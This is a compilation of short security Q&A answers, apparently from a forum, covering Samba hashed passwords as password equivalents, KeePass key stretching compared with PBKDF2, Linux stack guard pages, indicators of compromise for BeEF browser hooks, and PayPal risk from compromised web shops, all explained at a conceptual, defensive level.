  The UNIX scheme typically sends clear-text passwords over the network when logging in. This is bad. The SMB encryption scheme never sends the clear-text password over the network, but it does store the 16-byte hashed values on disk. This is also bad. Why? Because the 16 byte hashed values are a “password equivalent.” You cannot derive the user's password from them, but they could potentially be used in a modified client to gain access to a server. This would require considerable technical knowledge on behalf of the attacker but is perfectly possible. You should therefore treat the data stored in whatever passdb backend you use (smbpasswd file, LDAP) as though it contained the clear-text passwords of all your users.


Keepass Dictionary Attack Protection Strategy

[Disclosure: I work for AgileBits, the makers of 1Password]

I may have my history wrong here, but I believe that KeePass is designed to work with PasswordSafe databases, and that PasswordSafe was designed prior to general adoption of PBKDF2. So what we are seeing here is a "home grown" approach to do the job that PBKDF2 was designed to do. (And of course PBKDF2 isn't ideal, which is why the world is seeking a successor).

The choice of AES (in KeePass) over HMAC (as is typically used in PBKDF2) for as the PRF for each round isn't really a big difference, as both are PRFs. Indeed, PBKDF2 could be used in such a mode (though I've only ever seen it used with HMAC).

It is interesting to note that both schemes suffer from the issue of using a constant key/salt for the PRF. This is now recognized as a (small) problem (among larger one) with PBKDF2.

So off of the top of my head and based solely on your description above, I don't see that scheme as being any worse (though also little better) than PBKDF2. It isn't as general as PBKDF2 in terms of flexibility in the size of derived keys, but that is probably a good thing. Other than that, it appears (again, just from a casual glance) to be very like PBKDF2-HMAC in its strengths and weaknesses.

Over the years, I've gone from describing PBKDF2 as "Peanut Butter Keeps Dogs Friendly, too" to "People's Babies Keep Dingos Feed, too". Despite this, we still use it (carefully) in 1Password, but we are eagerly awaiting a successor to PBKDF2, scrypt, and bcrypt.


Yes, Linux has guard pages.  The implementation in the latest Linux kernel recently changed somewhat in order to deal with a vulnerability ("stack clash") where the guard page can be skipped.  See this post for a description of the issue with the previous implementation.  See this thread on LKML for a discussion of recent changes.


BeEF - What are the Indicators of Compromise (IOC)

I'd first like to make sure you fully understand what Beef is and what it's used for.  Beef is a tool for performing exploitation in Man-In-The-Browser scenarios.  The gist of it is a user's browser executes the beef hook script (either via xss, or in your scenario, a phishing site), the script then calls out to the Beef server, and the server is then able to push arbitrary javascript commands down to the browser.  The end result is that the attacker controls the user's browser window, and can do almost anything the user can do.  Beef is not so much a specific attack as much as a vehicle for performing other attacks.

IoCs would depend on what the attacker did with it.  Minimally you would likely find some JavaScript artifacts, and maybe some packet captures would find calls to the Beef server.  If the attackers used Beef to install malware, there would be IoCs for that particular malware.

Mitigating an active Beef session is easy.  Just close the browser.  If the attacker has used Beef to install malware, that will require mitigation specific to that malware.


Can hackers steal money from my PayPal if a web shop is compromised?

With a proper setup the Paypal credentials itself are not known by the shop so they should be safe if the hack occurred after you've bought something. But some data like shipping address or email might be shared with the shop by Paypal and thus can be compromised. Also, if you enter your credentials after the shop was hacked it might be that the attacker changed the site so that it now grabs your credentials, i.e. similar to what many sites do which are involved in phishing.